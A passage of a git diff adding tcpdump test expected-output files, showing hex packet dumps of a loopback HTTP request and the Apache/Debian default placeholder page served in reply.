+	0x14a0:  7265 663d 2268 7474 703a 2f2f 7777 772e
+	0x14b0:  6170 6163 6865 2e6f 7267 2f22 3e0a 3c49
+	0x14c0:  4d47 2061 6c69 676e 3d22 6d69 6464 6c65
+	0x14d0:  2220 6865 6967 6874 3d22 3332 2220 7769
+	0x14e0:  6474 683d 2232 3539 2220 7372 633d 2269
+	0x14f0:  636f 6e73 2f61 7061 6368 655f 7062 2e70
+	0x1500:  6e67 2220 616c 743d 2241 7061 6368 6522
+	0x1510:  3e0a 3c2f 613e 0a3c 2f44 4956 3e0a 0a3c
+	0x1520:  212d 2d0a 2020 5468 6973 2070 6167 6520
+	0x1530:  7761 7320 696e 6974 6961 6c6c 7920 6372
+	0x1540:  6561 7465 6420 6279 204a 6f68 6e69 6520
+	0x1550:  496e 6772 616d 2028 6874 7470 3a2f 2f6e
+	0x1560:  6574 676f 642e 6e65 742f 290a 2020 4974
+	0x1570:  2077 6173 206c 6174 6572 2065 6469 7465
+	0x1580:  6420 6279 204d 6174 7468 6577 2057 696c
+	0x1590:  636f 7820 616e 6420 4a6f 7369 7020 526f
+	0x15a0:  6469 6e2e 0a20 204c 6173 7420 6d6f 6469
+	0x15b0:  6669 6564 3a20 2444 6174 653a 2032 3030
+	0x15c0:  342f 3036 2f32 3020 3135 3a33 333a 3537
+	0x15d0:  2024 2e0a 2020 2d2d 3e0a 0a3c 2f42 4f44
+	0x15e0:  593e 0a3c 2f48 544d 4c3e 0a
+23:57:35.941260 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 5560, win 12383, options [nop,nop,TS val 1306300953 ecr 1306300953], length 0
+	0x0000:  4500 0034 1b6e 4000 4006 2154 7f00 0001
+	0x0010:  7f00 0001 da70 0050 3758 8a49 377a a3a9
+	0x0020:  8010 305f 10ea 0000 0101 080a 4ddc 9219
+	0x0030:  4ddc 9219
+23:57:37.229575 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [F.], seq 203, ack 5560, win 12383, options [nop,nop,TS val 1306302241 ecr 1306300953], length 0
+	0x0000:  4500 0034 1b70 4000 4006 2152 7f00 0001
+	0x0010:  7f00 0001 da70 0050 3758 8a49 377a a3a9
+	0x0020:  8011 305f 0be1 0000 0101 080a 4ddc 9721
+	0x0030:  4ddc 9219
+23:57:37.230839 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [F.], seq 5560, ack 204, win 8192, options [nop,nop,TS val 1306302243 ecr 1306302241], length 0
+	0x0000:  4500 0034 1fe8 4000 4006 1cda 7f00 0001
+	0x0010:  7f00 0001 0050 da70 377a a3a9 3758 8a4a
+	0x0020:  8011 2000 1735 0000 0101 080a 4ddc 9723
+	0x0030:  4ddc 9721
+23:57:37.230900 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 5561, win 12383, options [nop,nop,TS val 1306302243 ecr 1306302243], length 0
+	0x0000:  4500 0034 1b72 4000 4006 2150 7f00 0001
+	0x0010:  7f00 0001 da70 0050 3758 8a4a 377a a3aa
+	0x0020:  8010 305f 06d4 0000 0101 080a 4ddc 9723
+	0x0030:  4ddc 9723
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/print-xx.new b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/print-xx.new
new file mode 100644
index 0000000000000000000000000000000000000000..8f5c0d84c1280494da8cebb9b4fe2562e5f40dd3
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/print-xx.new
@@ -0,0 +1,419 @@
+23:57:35.938066 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [S], seq 928549246, win 32767, options [mss 16396,sackOK,TS val 1306300950 ecr 0,nop,wscale 2], length 0
+	0x0000:  0000 0000 0000 0000 0000 0000 0800 4500
+	0x0010:  003c 1b68 4000 4006 2152 7f00 0001 7f00
+	0x0020:  0001 da70 0050 3758 897e 0000 0000 a002
+	0x0030:  7fff 1421 0000 0204 400c 0402 080a 4ddc
+	0x0040:  9216 0000 0000 0103 0302
+23:57:35.938122 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [S.], seq 930778609, ack 928549247, win 32767, options [mss 16396,sackOK,TS val 1306300950 ecr 1306300950,nop,wscale 2], length 0
+	0x0000:  0000 0000 0000 0000 0000 0000 0800 4500
+	0x0010:  003c 0000 4000 4006 3cba 7f00 0001 7f00
+	0x0020:  0001 0050 da70 377a 8df1 3758 897f a012
+	0x0030:  7fff 6eb1 0000 0204 400c 0402 080a 4ddc
+	0x0040:  9216 4ddc 9216 0103 0302
+23:57:35.938167 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 1, win 8192, options [nop,nop,TS val 1306300950 ecr 1306300950], length 0
+	0x0000:  0000 0000 0000 0000 0000 0000 0800 4500
+	0x0010:  0034 1b6a 4000 4006 2158 7f00 0001 7f00
+	0x0020:  0001 da70 0050 3758 897f 377a 8df2 8010
+	0x0030:  2000 37d0 0000 0101 080a 4ddc 9216 4ddc
+	0x0040:  9216
+23:57:35.939423 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [P.], seq 1:203, ack 1, win 8192, options [nop,nop,TS val 1306300951 ecr 1306300950], length 202
+	0x0000:  0000 0000 0000 0000 0000 0000 0800 4500
+	0x0010:  00fe 1b6c 4000 4006 208c 7f00 0001 7f00
+	0x0020:  0001 da70 0050 3758 897f 377a 8df2 8018
+	0x0030:  2000 fef2 0000 0101 080a 4ddc 9217 4ddc
+	0x0040:  9216 4745 5420 2f20 4854 5450 2f31 2e31
+	0x0050:  0d0a 486f 7374 3a20 6c6f 6361 6c68 6f73
+	0x0060:  740d 0a55 7365 722d 4167 656e 743a 2045
+	0x0070:  4c69 6e6b 732f 302e 3130 2e34 2d37 2d64
+	0x0080:  6562 6961 6e20 2874 6578 746d 6f64 653b
+	0x0090:  204c 696e 7578 2032 2e36 2e31 312d 312d
+	0x00a0:  3638 362d 736d 7020 6936 3836 3b20 3133
+	0x00b0:  3278 3536 2d32 290d 0a41 6363 6570 743a
+	0x00c0:  202a 2f2a 0d0a 4163 6365 7074 2d45 6e63
+	0x00d0:  6f64 696e 673a 2067 7a69 700d 0a41 6363
+	0x00e0:  6570 742d 4c61 6e67 7561 6765 3a20 656e
+	0x00f0:  0d0a 436f 6e6e 6563 7469 6f6e 3a20 4b65
+	0x0100:  6570 2d41 6c69 7665 0d0a 0d0a
+23:57:35.940474 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [.], ack 203, win 8192, options [nop,nop,TS val 1306300952 ecr 1306300951], length 0
+	0x0000:  0000 0000 0000 0000 0000 0000 0800 4500
+	0x0010:  0034 1fe4 4000 4006 1cde 7f00 0001 7f00
+	0x0020:  0001 0050 da70 377a 8df2 3758 8a49 8010
+	0x0030:  2000 3703 0000 0101 080a 4ddc 9218 4ddc
+	0x0040:  9217
+23:57:35.941232 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [P.], seq 1:5560, ack 203, win 8192, options [nop,nop,TS val 1306300953 ecr 1306300951], length 5559
+	0x0000:  0000 0000 0000 0000 0000 0000 0800 4500
+	0x0010:  15eb 1fe6 4000 4006 0725 7f00 0001 7f00
+	0x0020:  0001 0050 da70 377a 8df2 3758 8a49 8018
+	0x0030:  2000 13e0 0000 0101 080a 4ddc 9219 4ddc
+	0x0040:  9217 4854 5450 2f31 2e31 2032 3030 204f
+	0x0050:  4b0d 0a44 6174 653a 2057 6564 2c20 3036
+	0x0060:  204a 756c 2032 3030 3520 3033 3a35 373a
+	0x0070:  3335 2047 4d54 0d0a 5365 7276 6572 3a20
+	0x0080:  4170 6163 6865 2f31 2e33 2e33 330d 0a4c
+	0x0090:  6173 742d 4d6f 6469 6669 6564 3a20 5375
+	0x00a0:  6e2c 2031 3520 4175 6720 3230 3034 2030
+	0x00b0:  303a 3433 3a34 3120 474d 540d 0a45 5461
+	0x00c0:  673a 2022 3665 3830 6630 2d31 3438 612d
+	0x00d0:  3431 3165 6231 6264 220d 0a41 6363 6570
+	0x00e0:  742d 5261 6e67 6573 3a20 6279 7465 730d
+	0x00f0:  0a43 6f6e 7465 6e74 2d4c 656e 6774 683a
+	0x0100:  2035 3235 380d 0a4b 6565 702d 416c 6976
+	0x0110:  653a 2074 696d 656f 7574 3d31 352c 206d
+	0x0120:  6178 3d31 3030 0d0a 436f 6e6e 6563 7469
+	0x0130:  6f6e 3a20 4b65 6570 2d41 6c69 7665 0d0a
+	0x0140:  436f 6e74 656e 742d 5479 7065 3a20 7465
+	0x0150:  7874 2f68 746d 6c3b 2063 6861 7273 6574
+	0x0160:  3d69 736f 2d38 3835 392d 310d 0a0d 0a3c
+	0x0170:  2144 4f43 5459 5045 2048 544d 4c20 5055
+	0x0180:  424c 4943 2022 2d2f 2f57 3343 2f2f 4454
+	0x0190:  4420 4854 4d4c 2034 2e30 3120 5472 616e
+	0x01a0:  7369 7469 6f6e 616c 2f2f 454e 223e 0a3c
+	0x01b0:  4854 4d4c 3e0a 3c48 4541 443e 0a20 2020
+	0x01c0:  3c4d 4554 4120 4854 5450 2d45 5155 4956
+	0x01d0:  3d22 436f 6e74 656e 742d 5479 7065 2220
+	0x01e0:  434f 4e54 454e 543d 2274 6578 742f 6874
+	0x01f0:  6d6c 3b20 6368 6172 7365 743d 6973 6f2d
+	0x0200:  3838 3539 2d31 223e 0a20 2020 3c4d 4554
+	0x0210:  4120 4e41 4d45 3d22 4465 7363 7269 7074
+	0x0220:  696f 6e22 2043 4f4e 5445 4e54 3d22 5468
+	0x0230:  6520 696e 6974 6961 6c20 696e 7374 616c
+	0x0240:  6c61 7469 6f6e 206f 6620 4465 6269 616e
+	0x0250:  2061 7061 6368 652e 223e 0a20 2020 3c54
+	0x0260:  4954 4c45 3e50 6c61 6365 686f 6c64 6572
+	0x0270:  2070 6167 653c 2f54 4954 4c45 3e0a 3c2f
+	0x0280:  4845 4144 3e0a 3c42 4f44 5920 5445 5854
+	0x0290:  3d22 2330 3030 3030 3022 2042 4743 4f4c
+	0x02a0:  4f52 3d22 2346 4646 4646 4622 204c 494e
+	0x02b0:  4b3d 2223 3030 3030 4546 2220 564c 494e
+	0x02c0:  4b3d 2223 3535 3138 3841 2220 414c 494e
+	0x02d0:  4b3d 2223 4646 3030 3030 223e 0a0a 3c48
+	0x02e0:  313e 506c 6163 6568 6f6c 6465 7220 7061
+	0x02f0:  6765 3c2f 4831 3e0a 3c48 323e 4966 2079
+	0x0300:  6f75 2061 7265 206a 7573 7420 6272 6f77
+	0x0310:  7369 6e67 2074 6865 2077 6562 3c2f 6832
+	0x0320:  3e0a 0a3c 503e 5468 6520 6f77 6e65 7220
+	0x0330:  6f66 2074 6869 7320 7765 6220 7369 7465
+	0x0340:  2068 6173 206e 6f74 2070 7574 2075 7020
+	0x0350:  616e 7920 7765 6220 7061 6765 7320 7965
+	0x0360:  742e 0a50 6c65 6173 6520 636f 6d65 2062
+	0x0370:  6163 6b20 6c61 7465 722e 3c2f 503e 0a0a
+	0x0380:  3c50 3e3c 534d 414c 4c3e 3c43 4954 453e
+	0x0390:  4d6f 7665 2061 6c6f 6e67 2c20 6e6f 7468
+	0x03a0:  696e 6720 746f 2073 6565 2068 6572 652e
+	0x03b0:  2e2e 3c2f 4349 5445 3e20 3a2d 293c 2f53
+	0x03c0:  4d41 4c4c 3e3c 2f50 3e0a 0a3c 4832 3e49
+	0x03d0:  6620 796f 7520 6172 6520 7472 7969 6e67
+	0x03e0:  2074 6f20 6c6f 6361 7465 2074 6865 2061
+	0x03f0:  646d 696e 6973 7472 6174 6f72 206f 6620
+	0x0400:  7468 6973 206d 6163 6869 6e65 3c2f 4832
+	0x0410:  3e0a 0a3c 503e 4966 2079 6f75 2077 616e
+	0x0420:  7420 746f 2072 6570 6f72 7420 736f 6d65
+	0x0430:  7468 696e 6720 6162 6f75 7420 7468 6973
+	0x0440:  2068 6f73 7427 7320 6265 6861 7669 6f72
+	0x0450:  2c20 706c 6561 7365 0a63 6f6e 7461 6374
+	0x0460:  2074 6865 2049 6e74 6572 6e65 7420 5365
+	0x0470:  7276 6963 6520 5072 6f76 6964 6572 2028
+	0x0480:  4953 5029 2069 6e76 6f6c 7665 6420 6469
+	0x0490:  7265 6374 6c79 2e3c 2f50 3e0a 0a3c 503e
+	0x04a0:  5365 6520 7468 6520 3c41 2068 7265 663d
+	0x04b0:  2268 7474 703a 2f2f 7777 772e 6162 7573
+	0x04c0:  652e 6e65 742f 223e 4e65 7477 6f72 6b20
+	0x04d0:  4162 7573 650a 436c 6561 7269 6e67 686f
+	0x04e0:  7573 653c 2f41 3e20 666f 7220 686f 7720
+	0x04f0:  746f 2064 6f20 7468 6973 2e3c 2f50 3e0a
+	0x0500:  0a3c 4832 3e49 6620 796f 7520 6172 6520
+	0x0510:  7468 6520 6164 6d69 6e69 7374 7261 746f
+	0x0520:  7220 6f66 2074 6869 7320 6d61 6368 696e
+	0x0530:  653c 2f48 323e 0a0a 3c50 3e54 6865 2069
+	0x0540:  6e69 7469 616c 2069 6e73 7461 6c6c 6174
+	0x0550:  696f 6e20 6f66 203c 4120 6872 6566 3d22
+	0x0560:  6874 7470 3a2f 2f77 7777 2e64 6562 6961
+	0x0570:  6e2e 6f72 672f 223e 4465 6269 616e 2773
+	0x0580:  0a61 7061 6368 653c 2f41 3e20 7765 6220
+	0x0590:  7365 7276 6572 2070 6163 6b61 6765 2077
+	0x05a0:  6173 2073 7563 6365 7373 6675 6c2e 3c2f
+	0x05b0:  503e 0a0a 3c50 3e3c 5354 524f 4e47 3e59
+	0x05c0:  6f75 2073 686f 756c 6420 7265 706c 6163
+	0x05d0:  6520 7468 6973 2070 6167 6520 7769 7468
+	0x05e0:  2079 6f75 7220 6f77 6e20 7765 6220 7061
+	0x05f0:  6765 7320 6173 0a73 6f6f 6e20 6173 2070
+	0x0600:  6f73 7369 626c 652e 3c2f 5354 524f 4e47
+	0x0610:  3e3c 2f50 3e0a 0a3c 503e 556e 6c65 7373
+	0x0620:  2079 6f75 2063 6861 6e67 6564 2069 7473
+	0x0630:  2063 6f6e 6669 6775 7261 7469 6f6e 2c20
+	0x0640:  796f 7572 206e 6577 2073 6572 7665 7220
+	0x0650:  6973 2063 6f6e 6669 6775 7265 6420 6173
+	0x0660:  2066 6f6c 6c6f 7773 3a0a 3c55 4c3e 0a3c
+	0x0670:  4c49 3e0a 436f 6e66 6967 7572 6174 696f
+	0x0680:  6e20 6669 6c65 7320 6361 6e20 6265 2066
+	0x0690:  6f75 6e64 2069 6e20 3c54 543e 2f65 7463
+	0x06a0:  2f61 7061 6368 653c 2f54 543e 2e3c 2f4c
+	0x06b0:  493e 0a0a 3c4c 493e 0a54 6865 203c 5454
+	0x06c0:  3e44 6f63 756d 656e 7452 6f6f 743c 2f54
+	0x06d0:  543e 2c20 7768 6963 6820 6973 2074 6865
+	0x06e0:  2064 6972 6563 746f 7279 2075 6e64 6572
+	0x06f0:  2077 6869 6368 2061 6c6c 2079 6f75 720a
+	0x0700:  4854 4d4c 2066 696c 6573 2073 686f 756c
+	0x0710:  6420 6578 6973 742c 2069 7320 7365 7420
+	0x0720:  746f 203c 5454 3e2f 7661 722f 7777 773c
+	0x0730:  2f54 543e 2e3c 2f4c 493e 0a0a 3c4c 493e
+	0x0740:  0a43 4749 2073 6372 6970 7473 2061 7265
+	0x0750:  206c 6f6f 6b65 6420 666f 7220 696e 203c
+	0x0760:  5454 3e2f 7573 722f 6c69 622f 6367 692d
+	0x0770:  6269 6e3c 2f54 543e 2c20 7768 6963 6820
+	0x0780:  6973 2077 6865 7265 0a44 6562 6961 6e20
+	0x0790:  7061 636b 6167 6573 2077 696c 6c20 706c
+	0x07a0:  6163 6520 7468 6569 7220 7363 7269 7074
+	0x07b0:  732e 3c2f 4c49 3e0a 0a3c 4c49 3e0a 4c6f
+	0x07c0:  6720 6669 6c65 7320 6172 6520 706c 6163
+	0x07d0:  6564 2069 6e20 3c54 543e 2f76 6172 2f6c
+	0x07e0:  6f67 2f61 7061 6368 653c 2f54 543e 2c20
+	0x07f0:  616e 6420 7769 6c6c 2062 6520 726f 7461
+	0x0800:  7465 640a 7765 656b 6c79 2e20 2054 6865
+	0x0810:  2066 7265 7175 656e 6379 206f 6620 726f
+	0x0820:  7461 7469 6f6e 2063 616e 2062 6520 6561
+	0x0830:  7369 6c79 2063 6861 6e67 6564 2062 7920
+	0x0840:  6564 6974 696e 670a 3c54 543e 2f65 7463
+	0x0850:  2f6c 6f67 726f 7461 7465 2e64 2f61 7061
+	0x0860:  6368 653c 2f54 543e 2e3c 2f4c 493e 0a0a
+	0x0870:  3c4c 493e 0a54 6865 2064 6566 6175 6c74
+	0x0880:  2064 6972 6563 746f 7279 2069 6e64 6578
+	0x0890:  2069 7320 3c54 543e 696e 6465 782e 6874
+	0x08a0:  6d6c 3c2f 5454 3e2c 206d 6561 6e69 6e67
+	0x08b0:  2074 6861 7420 7265 7175 6573 7473 0a66
+	0x08c0:  6f72 2061 2064 6972 6563 746f 7279 203c
+	0x08d0:  5454 3e2f 666f 6f2f 6261 722f 3c2f 5454
+	0x08e0:  3e20 7769 6c6c 2067 6976 6520 7468 6520
+	0x08f0:  636f 6e74 656e 7473 206f 6620 7468 6520
+	0x0900:  6669 6c65 203c 5454 3e2f 7661 722f 7777
+	0x0910:  772f 666f 6f2f 6261 722f 696e 6465 782e
+	0x0920:  6874 6d6c 3c2f 5454 3e0a 6966 2069 7420
+	0x0930:  6578 6973 7473 2028 6173 7375 6d69 6e67
+	0x0940:  2074 6861 7420 3c54 543e 2f76 6172 2f77
+	0x0950:  7777 3c2f 5454 3e20 6973 2079 6f75 7220
+	0x0960:  3c54 543e 446f 6375 6d65 6e74 526f 6f74
+	0x0970:  3c2f 5454 3e29 2e3c 2f4c 493e 0a0a 3c4c
+	0x0980:  493e 0a55 7365 7220 6469 7265 6374 6f72
+	0x0990:  6965 7320 6172 6520 656e 6162 6c65 642c
+	0x09a0:  2061 6e64 2075 7365 7220 646f 6375 6d65
+	0x09b0:  6e74 7320 7769 6c6c 2062 6520 6c6f 6f6b
+	0x09c0:  6564 2066 6f72 0a69 6e20 7468 6520 3c54
+	0x09d0:  543e 7075 626c 6963 5f68 746d 6c3c 2f54
+	0x09e0:  543e 2064 6972 6563 746f 7279 206f 6620
+	0x09f0:  7468 6520 7573 6572 7327 2068 6f6d 6573
+	0x0a00:  2e20 2054 6865 7365 2064 6972 730a 7368
+	0x0a10:  6f75 6c64 2062 6520 756e 6465 7220 3c54
+	0x0a20:  543e 2f68 6f6d 653c 2f54 543e 2c20 616e
+	0x0a30:  6420 7573 6572 7320 7769 6c6c 206e 6f74
+	0x0a40:  2062 6520 6162 6c65 2074 6f20 7379 6d6c
+	0x0a50:  696e 6b0a 746f 2066 696c 6573 2074 6865
+	0x0a60:  7920 646f 6e27 7420 6f77 6e2e 3c2f 4c49
+	0x0a70:  3e0a 0a3c 2f55 4c3e 0a41 6c6c 2074 6865
+	0x0a80:  2073 7461 6e64 6172 6420 6170 6163 6865
+	0x0a90:  206d 6f64 756c 6573 2061 7265 2061 7661
+	0x0aa0:  696c 6162 6c65 2077 6974 6820 7468 6973
+	0x0ab0:  2072 656c 6561 7365 2061 6e64 2061 7265
+	0x0ac0:  0a6e 6f77 206d 616e 6167 6564 2077 6974
+	0x0ad0:  6820 6465 6263 6f6e 662e 2020 5479 7065
+	0x0ae0:  203c 5454 3e64 706b 672d 7265 636f 6e66
+	0x0af0:  6967 7572 6520 6170 6163 6865 3c2f 5454
+	0x0b00:  3e20 746f 0a73 656c 6563 7420 7768 6963
+	0x0b10:  6820 6d6f 6475 6c65 7320 796f 7520 7761
+	0x0b20:  6e74 2065 6e61 626c 6564 2e20 204d 616e
+	0x0b30:  7920 6f74 6865 7220 6d6f 6475 6c65 7320
+	0x0b40:  6172 6520 6176 6169 6c61 626c 650a 7468
+	0x0b50:  726f 7567 6820 7468 6520 4465 6269 616e
+	0x0b60:  2070 6163 6b61 6765 2073 7973 7465 6d20
+	0x0b70:  7769 7468 2074 6865 206e 616d 6573 203c
+	0x0b80:  5454 3e6c 6962 6170 6163 6865 2d6d 6f64
+	0x0b90:  2d2a 3c2f 5454 3e2e 0a49 6620 796f 7520
+	0x0ba0:  6e65 6564 2074 6f20 636f 6d70 696c 6520
+	0x0bb0:  6120 6d6f 6475 6c65 2079 6f75 7273 656c
+	0x0bc0:  662c 2079 6f75 2077 696c 6c20 6e65 6564
+	0x0bd0:  2074 6f20 696e 7374 616c 6c20 7468 650a
+	0x0be0:  3c54 543e 6170 6163 6865 2d64 6576 3c2f
+	0x0bf0:  5454 3e20 7061 636b 6167 652e 0a0a 3c50
+	0x0c00:  3e4d 6f72 6520 646f 6375 6d65 6e74 6174
+	0x0c10:  696f 6e20 6f6e 2041 7061 6368 6520 6361
+	0x0c20:  6e20 6265 2066 6f75 6e64 206f 6e3a 0a3c
+	0x0c30:  554c 3e0a 3c4c 493e 0a54 6865 203c 4120
+	0x0c40:  4852 4546 3d22 2f64 6f63 2f61 7061 6368
+	0x0c50:  652d 646f 632f 6d61 6e75 616c 2f22 3e41
+	0x0c60:  7061 6368 6520 646f 6375 6d65 6e74 6174
+	0x0c70:  696f 6e3c 2f41 3e20 7374 6f72 6564 206f
+	0x0c80:  6e20 796f 7572 2073 6572 7665 722e 3c2f
+	0x0c90:  4c49 3e0a 0a3c 4c49 3e0a 5468 6520 3c41
+	0x0ca0:  2048 5245 463d 2268 7474 703a 2f2f 7777
+	0x0cb0:  772e 6170 6163 6865 2e6f 7267 2f22 3e41
+	0x0cc0:  7061 6368 6520 5072 6f6a 6563 743c 2f41
+	0x0cd0:  3e20 686f 6d65 2073 6974 652e 3c2f 4c49
+	0x0ce0:  3e0a 0a3c 4c49 3e0a 5468 6520 3c41 2048
+	0x0cf0:  5245 463d 2268 7474 703a 2f2f 7777 772e
+	0x0d00:  6170 6163 6865 2d73 736c 2e6f 7267 2f22
+	0x0d10:  3e41 7061 6368 652d 5353 4c3c 2f41 3e20
+	0x0d20:  686f 6d65 2073 6974 652e 3c2f 4c49 3e0a
+	0x0d30:  0a3c 4c49 3e0a 5468 6520 3c41 2048 5245
+	0x0d40:  463d 2268 7474 703a 2f2f 7065 726c 2e61
+	0x0d50:  7061 6368 652e 6f72 672f 223e 6d6f 6420
+	0x0d60:  7065 726c 3c2f 413e 2068 6f6d 6520 7369
+	0x0d70:  7465 2e3c 2f4c 493e 0a0a 3c4c 493e 0a54
+	0x0d80:  6865 203c 4120 4852 4546 3d22 6874 7470
+	0x0d90:  3a2f 2f77 7777 2e61 7061 6368 6577 6565
+	0x0da0:  6b2e 636f 6d2f 223e 4170 6163 6865 5765
+	0x0db0:  656b 3c2f 413e 206e 6577 736c 6574 7465
+	0x0dc0:  722e 3c2f 4c49 3e0a 0a3c 4c49 3e0a 5468
+	0x0dd0:  6520 3c41 2048 5245 463d 2268 7474 703a
+	0x0de0:  2f2f 7777 772e 6465 6269 616e 2e6f 7267
+	0x0df0:  2f64 6f63 2f22 3e44 6562 6961 6e20 5072
+	0x0e00:  6f6a 6563 740a 446f 6375 6d65 6e74 6174
+	0x0e10:  696f 6e3c 2f41 3e20 7768 6963 6820 636f
+	0x0e20:  6e74 6169 6e73 2048 4f57 544f 732c 2046
+	0x0e30:  4151 732c 2061 6e64 2073 6f66 7477 6172
+	0x0e40:  6520 7570 6461 7465 732e 3c2f 4c49 3e0a
+	0x0e50:  3c2f 554c 3e0a 0a3c 503e 596f 7520 6361
+	0x0e60:  6e20 616c 736f 2063 6f6e 7375 6c74 2074
+	0x0e70:  6865 206c 6973 7420 6f66 203c 4120 4852
+	0x0e80:  4546 3d22 6874 7470 3a2f 2f77 7777 2e62
+	0x0e90:  6f75 7465 6c6c 2e63 6f6d 2f66 6171 2f22
+	0x0ea0:  3e57 6f72 6c64 0a57 6964 6520 5765 6220
+	0x0eb0:  4672 6571 7565 6e74 6c79 2041 736b 6564
+	0x0ec0:  2051 7565 7374 696f 6e73 3c2f 413e 2066
+	0x0ed0:  6f72 2069 6e66 6f72 6d61 7469 6f6e 2e0a
+	0x0ee0:  0a3c 4832 3e4c 6574 206f 7468 6572 2070
+	0x0ef0:  656f 706c 6520 6b6e 6f77 2061 626f 7574
+	0x0f00:  2074 6869 7320 7365 7276 6572 3c2f 4832
+	0x0f10:  3e0a 0a3c 4120 4852 4546 3d22 6874 7470
+	0x0f20:  3a2f 2f6e 6574 6372 6166 742e 636f 6d2f
+	0x0f30:  223e 4e65 7463 7261 6674 3c2f 413e 2070
+	0x0f40:  726f 7669 6465 7320 616e 2069 6e74 6572
+	0x0f50:  6573 7469 6e67 2066 7265 650a 7365 7276
+	0x0f60:  6963 6520 666f 7220 7765 6220 7369 7465
+	0x0f70:  206d 6f6e 6974 6f72 696e 6720 616e 6420
+	0x0f80:  7374 6174 6973 7469 6320 636f 6c6c 6563
+	0x0f90:  7469 6f6e 2e0a 596f 7520 6361 6e20 6c65
+	0x0fa0:  7420 7468 656d 206b 6e6f 7720 6162 6f75
+	0x0fb0:  7420 796f 7572 2073 6572 7665 7220 7573
+	0x0fc0:  696e 6720 7468 6569 720a 3c41 2048 5245
+	0x0fd0:  463d 2268 7474 703a 2f2f 7570 7469 6d65
+	0x0fe0:  2e6e 6574 6372 6166 742e 636f 6d2f 223e
+	0x0ff0:  696e 7465 7266 6163 653c 2f41 3e2e 0a45
+	0x1000:  6e61 626c 696e 6720 7468 6520 6d6f 6e69
+	0x1010:  746f 7269 6e67 206f 6620 796f 7572 2073
+	0x1020:  6572 7665 7220 7769 6c6c 2070 726f 7669
+	0x1030:  6465 2061 2062 6574 7465 7220 676c 6f62
+	0x1040:  616c 206f 7665 7276 6965 770a 6f66 2077
+	0x1050:  686f 2069 7320 7573 696e 6720 7768 6174
+	0x1060:  2061 6e64 2077 6865 7265 2c20 616e 6420
+	0x1070:  6974 2077 6f75 6c64 2067 6976 6520 4465
+	0x1080:  6269 616e 2061 2062 6574 7465 720a 6f76
+	0x1090:  6572 7669 6577 206f 6620 7468 6520 6170
+	0x10a0:  6163 6865 2070 6163 6b61 6765 2075 7361
+	0x10b0:  6765 2e0a 0a3c 4832 3e41 626f 7574 2074
+	0x10c0:  6869 7320 7061 6765 3c2f 4832 3e0a 0a3c
+	0x10d0:  494d 4720 414c 4947 4e3d 2272 6967 6874
+	0x10e0:  2220 414c 543d 2222 2048 4549 4748 543d
+	0x10f0:  2232 3437 2220 5749 4454 483d 2232 3738
+	0x1100:  2220 5352 433d 2269 636f 6e73 2f6a 6865
+	0x1110:  3036 312e 706e 6722 3e0a 0a3c 503e 5468
+	0x1120:  6973 2069 7320 6120 706c 6163 6568 6f6c
+	0x1130:  6465 7220 7061 6765 2069 6e73 7461 6c6c
+	0x1140:  6564 2062 7920 7468 6520 3c41 0a48 5245
+	0x1150:  463d 2268 7474 703a 2f2f 7777 772e 6465
+	0x1160:  6269 616e 2e6f 7267 2f22 3e44 6562 6961
+	0x1170:  6e3c 2f41 3e0a 7265 6c65 6173 6520 6f66
+	0x1180:  2074 6865 2061 7061 6368 6520 5765 6220
+	0x1190:  7365 7276 6572 2070 6163 6b61 6765 2e0a
+	0x11a0:  0a3c 503e 5468 6973 2063 6f6d 7075 7465
+	0x11b0:  7220 6861 7320 696e 7374 616c 6c65 6420
+	0x11c0:  7468 6520 4465 6269 616e 2047 4e55 2f4c
+	0x11d0:  696e 7578 206f 7065 7261 7469 6e67 2073
+	0x11e0:  7973 7465 6d2c 0a62 7574 2069 7420 6861
+	0x11f0:  7320 3c73 7472 6f6e 673e 6e6f 7468 696e
+	0x1200:  6720 746f 2064 6f20 7769 7468 2074 6865
+	0x1210:  2044 6562 6961 6e0a 5072 6f6a 6563 743c
+	0x1220:  2f73 7472 6f6e 673e 2e20 506c 6561 7365
+	0x1230:  2064 6f20 3c73 7472 6f6e 673e 6e6f 743c
+	0x1240:  2f73 7472 6f6e 673e 2063 6f6e 7461 6374
+	0x1250:  2074 6865 2044 6562 6961 6e0a 5072 6f6a
+	0x1260:  6563 7420 6162 6f75 7420 6974 2e3c 2f50
+	0x1270:  3e0a 0a3c 503e 4966 2079 6f75 2066 696e
+	0x1280:  6420 6120 6275 6720 696e 2074 6869 7320
+	0x1290:  6170 6163 6865 2070 6163 6b61 6765 2c20
+	0x12a0:  6f72 2069 6e20 4170 6163 6865 2069 7473
+	0x12b0:  656c 662c 0a70 6c65 6173 6520 6669 6c65
+	0x12c0:  2061 2062 7567 2072 6570 6f72 7420 6f6e
+	0x12d0:  2069 742e 2020 496e 7374 7275 6374 696f
+	0x12e0:  6e73 206f 6e20 646f 696e 6720 7468 6973
+	0x12f0:  2c20 616e 6420 7468 650a 6c69 7374 206f
+	0x1300:  6620 3c41 2048 5245 463d 2268 7474 703a
+	0x1310:  2f2f 6275 6773 2e64 6562 6961 6e2e 6f72
+	0x1320:  672f 7372 633a 6170 6163 6865 223e 6b6e
+	0x1330:  6f77 6e20 6275 6773 3c2f 413e 206f 6620
+	0x1340:  7468 6973 0a70 6163 6b61 6765 2c20 6361
+	0x1350:  6e20 6265 2066 6f75 6e64 2069 6e20 7468
+	0x1360:  6520 0a3c 4120 4852 4546 3d22 6874 7470
+	0x1370:  3a2f 2f77 7777 2e64 6562 6961 6e2e 6f72
+	0x1380:  672f 4275 6773 2f52 6570 6f72 7469 6e67
+	0x1390:  223e 4465 6269 616e 2042 7567 2054 7261
+	0x13a0:  636b 696e 6720 5379 7374 656d 3c2f 413e
+	0x13b0:  2e0a 0a3c 503e 5468 616e 6b73 2066 6f72
+	0x13c0:  2075 7369 6e67 2074 6869 7320 7061 636b
+	0x13d0:  6167 652c 2061 6e64 2063 6f6e 6772 6174
